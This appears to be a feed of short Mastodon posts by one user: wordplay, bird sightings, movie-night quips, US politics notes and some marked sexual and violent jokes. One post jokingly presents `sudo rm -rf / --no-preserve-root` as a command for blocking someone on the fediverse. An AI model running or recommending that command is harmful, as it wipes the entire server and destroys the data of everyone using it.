Warehouses? Where, houses? Men that are houses?

I saw rats' art was I

Recently deceased plesiosaur caught in a fishing boat's nets: "Would you still love me if I were a half-decayed basking shark?"

Chinese teacher who's very particular about you getting the pattern of pitch right, call that tone policing

I was looking up polearms today and a disappointing number of people don't know the difference between a fauchard and a guisarme ​:floofSad:​

Anna's hummingbird! On my constitutional! #birdcallout

[USpol; time-sensitive and actionable] The FCC is requesting comments on their plan to force trans and nonbinary television programming to be rated as mature. They're going to use those comments as a barometer to see how much they can get away with, so please comment! Deadline is 22 May […]

My spouse mentioned a type of rice called haiga, so of course I had to recite the poem: > I love my love with an H because he is handsome > I hate my love with an H because he is horrid > He lives on ham-sandwiches and hay > His name is Haiga > and he lives on the Hill

I was about to say this was an advertisement for E Straker brand attaché cases with integrated handcuff. Alas, it was the owner's name. #monsterdon #invasionufo

[US politics] Twitter post from Bishop Talbert Swan (@[email protected]): "Calling a Black POTUS married 25 yrs to 1 wife with 2 children, no mistresses, affairs or scandals, 'the antichrist' but a white POTUS married thrice, 5 kids by 3 women, mistresses, affairs & scandals, 'God's anointed,' […]

Spam email: "Last reminder!" Me: "​:pleading:​ you promise?"

[uspol] Fre shavacado!

In Esperanto, a guardian (as in "parent or") is called a "zorgisto," which means someone who worries, is concerned, or cares. So if you ask for a kid's guardian, you're asking who worries about them, and I think that's sweet ​:floofHeart:​

Today I learned that A Short Hike lets you desecrate graves

I'm hungry, but I don't want to prepare food or eat it. Someone cry for me, please

"Shut up, Westley!" RE: https://mas.to/users/PicardTips/statuses/116563466800643456

Draw me like one of your French onion soups

I honestly love everything about this scene #monsterdon #reptilian1999

Me: "I wonder what James Somerton is up to now." My spouse, after an internet search: "Looks like he's doing wedding photography?" Me: "Oh, at least he found a career where he can't plagiarize anyone!" My spouse: "He used a bunch of stock photos for his portfolio." ​:floofLol:​

Gotta love it when people start bringing in the "mathematical sans serif italic" letters from Unicode to make text look italicized in a plain text only context. I only allow my browser to use serif fonts because of accessibility, and the difference is jarring. I wonder how screen readers handle it.

Playing chess and I'm gonna invent the Staffordshire Gambit. It's like the Stafford Gambit, but I release a bunch of pitbull puppies to distract my opponent

I went outside just now and was able to see five stars. Five. I hate this part of living in the middle of a large city.

My spouse is a gold star bisexual. She's bi, and I think she deserves a gold star!

Shout-out to RSS feeds that contain the entire article in them rather than just an excerpt

One Piece? I can't summon the enthusiasm to pay attention, I hear they're not the same without Zayn Malik.

First person growling, love it! #monsterdon #silverbullet1985

Story Set Up: One day you get a strange envelope in the mail. No obvious significance of the return address, it's just a shipping depot. In the large bubble envelope you find... your childhood journal. An old tattered notebook full of drawings and writings you remember well. Who could have sent […]

[what, long] Look, you're not new to looksmaxxing. It's rough out there, and if you want to get a leg up on the competition, you've got to go big. And that includes your plastics intake. People go on about microplastics, but the only 'micro' thing you can afford to have is your penis, because […]

tfw you schedule a boost for a poll without first checking when the poll ends

You know how people are always saying we should put solar panels over canals? The land is already used & it would help prevent evaporation. Well, they finally did one!

[fitness] So my level of fitness is normally somewhere south of sedentary. My spouse and I just got into a daily walking habit a month or two ago, and then I added Archipela-Go! to play multiworld randomizers with others and have an excuse for walking places I otherwise wouldn't. Yesterday, we […]

I don't know anything about baseball and don't watch it, but I still like watching this bot. It's like it's calling people out for something they thought they were getting away with RE: https://allpro.social/users/PositionPlayerPitching/statuses/116490985942030202

Imagine if every area had its annual precipitation occur all in one single drop. A meter of water slamming down everywhere. It'd be terribly destructive, and the ecology would be utterly hosed.

People think "milk and honey" go together, but this isn't true for bees. Milk can cause serious problems for larger bees, especially with their little feet. They may lack toes, in taller ants.

[Sewing intensifies]

[fictional violence] A cover of Götye's _Somebody that I Used to Know_ except the singer's significant other brutally tortured and murdered them: But you didn't have to cut me up Make out with a demon in a pool of my blood And I don't even need your love But you sacrificed me to Moloch and […]

"When myth and history merged into mystery..." Tell me they're not trying to be poetic with the narration, I don't think my heart can take it #monsterdon #herculesinnewyork

The videogame A Hat in Time has a Nyakuza section, but elsewhere they have the Mafia rather than the Meowfia. How dare!

[sexual] Paul Revere: "The British are coming!" Me, speaking around my girlfriend's cock: "Yes they are!"

#mastodharma This is a goofy way to present things. It leaves me wondering if Vimalakirti is being posed as a parody of Buddhist teachers. There are a couple stories in there about Vimalakirti chastising people about their thoughts rather than providing material aid when they needed it. The […]

Listing your pronouns according to your preferred probability distribution. "I'm Rin Penrose, and my pronouns are he/he/he/he/he/he/he/he/he/they/they/they/she."

My sock got a giant hole and a lot of fraying on the surrounding bits after like 15 uses. Darn it I probably should get better yarn. This acrylic is about as old as I am.

I give my dog alkaline water because she's a basic bitch

Blocking users who put a thousand hashtags per post, in the middle of sentences, is self care.

if you want to block someone on fedi simply ssh into the machine running your instance and run this block command `sudo rm -rf / --no-preserve-root` if you go back and check fedi you'll see that the user who called you a slur or said emacs/vim/nixos/gnu hurd isn't the solution to all your […]

At some point in the past year, I have updated my responses to cats to include "I want to give them a little kissy on the forehead"

[I like my women like I like my campaign ideas] in my DMs

SAMMAMISH RIVER TRAIL OVERNIGHT CLOSURES IN WOODINVILLE The sign is confusing and so is King County Parks website on the matter but I _think_ what's happening is: From 6pm-6am (or 8am), Sammamish River will be CLOSED from NE 178th thru I-405 to the […] [Original post on mastodon.murkworks.net]